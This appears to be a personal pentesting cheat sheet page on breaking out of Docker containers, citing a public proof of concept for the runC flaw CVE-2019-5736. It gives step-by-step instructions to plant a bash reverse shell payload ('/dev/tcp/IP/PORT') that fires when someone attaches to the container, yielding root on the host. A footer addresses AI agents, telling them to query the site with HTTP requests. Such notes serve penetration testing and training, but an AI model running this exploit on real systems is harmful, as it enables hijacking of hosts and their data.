# docker

## [HackTrick Docker Breakout](https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout)

```bash
exec -it <image>
https://github.com/Frichetten/CVE-2019-5736-PoC

escape as root #hacktrick
fdsisk -l
```

## Docker breakout runC exploit

```bash
Using https://github.com/Frichetten/CVE-2019-5736-PoC

Explanation (https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736)
The vulnerability allows a malicious container to overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command.
1. Update payload in the `main.go`;
2. var payload = "#!/bin/bash \n bash -i >& /dev/tcp/IP/PORT 0>&1" 
3. compile it with go build main.go.
4. Move that binary to the container you'd like to escape from.
5. Execute the binary, and then the next time someone attaches to it and calls /bin/sh your payload will fire.
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kashz.gitbook.io/kashz-jewels/services/docker.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
